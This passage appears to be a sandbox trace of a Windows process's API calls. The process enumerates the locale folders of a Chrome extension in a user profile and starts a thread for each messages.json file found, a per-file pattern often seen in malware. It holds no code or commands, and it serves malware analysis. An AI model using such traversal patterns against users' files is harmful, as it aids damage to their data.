(in: _Dest=0x12d47330, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\" [0186.336] wcscat (in: _Dest=0x12d47330, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" [0188.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d47330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0 [0188.532] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.532] FindClose (in: hFindFile=0x93b6f8 | out: hFindFile=0x93b6f8) returned 1 [0188.532] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912228) returned 1 [0188.532] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac7a0) returned 1 [0188.532] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4540) returned 1 Thread: id = 7834 os_tid = 0x1830 [0184.986] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9ab648 [0184.986] wcscpy (in: _Dest=0x9ab648, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th" [0184.986] wcscat (in: _Dest=0x9ab648, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\" [0184.986] wcscat (in: _Dest=0x9ab648, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*" [0184.986] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910a18 [0184.987] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b1f8 [0186.337] wcscmp (_String1=".", _String2=".") returned 0 [0186.337] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.337] wcscmp (_String1="..", _String2=".") returned 1 [0186.337] wcscmp (_String1="..", _String2="..") returned 0 [0186.337] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.337] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.337] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.337] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d47468 [0186.337] wcscpy (in: _Dest=0x12d47468, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th" [0186.337] wcscat (in: _Dest=0x12d47468, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\" [0186.337] wcscat (in: _Dest=0x12d47468, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" [0188.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d47468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe4 [0188.534] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.534] FindClose (in: hFindFile=0x93b1f8 | out: hFindFile=0x93b1f8) returned 1 [0188.534] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910a18) returned 1 [0188.534] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab648) returned 1 [0188.534] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4668) returned 1 Thread: id = 7835 os_tid = 0x1834 [0184.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9aae30 [0184.987] wcscpy (in: _Dest=0x9aae30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr" [0184.987] wcscat (in: _Dest=0x9aae30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\" [0184.987] wcscat (in: _Dest=0x9aae30, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*" [0184.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910548 [0184.987] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b978 [0186.337] wcscmp (_String1=".", _String2=".") returned 0 [0186.337] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.338] wcscmp (_String1="..", _String2=".") returned 1 [0186.338] wcscmp (_String1="..", _String2="..") returned 0 [0186.338] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.338] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.338] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.338] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d475a0 [0186.338] wcscpy (in: _Dest=0x12d475a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr" [0186.338] wcscat (in: _Dest=0x12d475a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\" [0186.338] wcscat (in: _Dest=0x12d475a0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" [0188.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d475a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4 [0188.538] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.539] FindClose (in: hFindFile=0x93b978 | out: hFindFile=0x93b978) returned 1 [0188.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910548) returned 1 [0188.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aae30) returned 1 [0188.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4790) returned 1 Thread: id = 7836 os_tid = 0x1a48 [0184.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9acb18 [0184.990] wcscpy (in: _Dest=0x9acb18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk" [0184.990] wcscat (in: _Dest=0x9acb18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\" [0184.990] wcscat (in: _Dest=0x9acb18, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*" [0184.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9126f8 [0184.990] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b078 [0186.338] wcscmp (_String1=".", _String2=".") returned 0 [0186.338] FindNextFileW (in: hFindFile=0x93b078, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.338] wcscmp (_String1="..", _String2=".") returned 1 [0186.338] wcscmp (_String1="..", _String2="..") returned 0 [0186.338] FindNextFileW (in: hFindFile=0x93b078, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.338] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.338] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.338] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d476d8 [0186.338] wcscpy (in: _Dest=0x12d476d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk" [0186.339] wcscat (in: _Dest=0x12d476d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\" [0186.339] wcscat (in: _Dest=0x12d476d8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" [0188.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d476d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0 [0188.540] FindNextFileW (in: hFindFile=0x93b078, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.540] FindClose (in: hFindFile=0x93b078 | out: hFindFile=0x93b078) returned 1 [0188.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9126f8) returned 1 [0188.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acb18) returned 1 [0188.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b48b8) returned 1 Thread: id = 7837 os_tid = 0x1a4c [0184.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x8f8200 [0184.990] wcscpy (in: _Dest=0x8f8200, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi" [0184.990] wcscat (in: _Dest=0x8f8200, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\" [0184.990] wcscat (in: _Dest=0x8f8200, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*" [0184.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911150 [0184.990] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b3b8 [0186.339] wcscmp (_String1=".", _String2=".") returned 0 [0186.339] FindNextFileW (in: hFindFile=0x93b3b8, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.339] wcscmp (_String1="..", _String2=".") returned 1 [0186.339] wcscmp (_String1="..", _String2="..") returned 0 [0186.339] FindNextFileW (in: hFindFile=0x93b3b8, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.339] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.339] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.339] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d47810 [0186.339] wcscpy (in: _Dest=0x12d47810, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 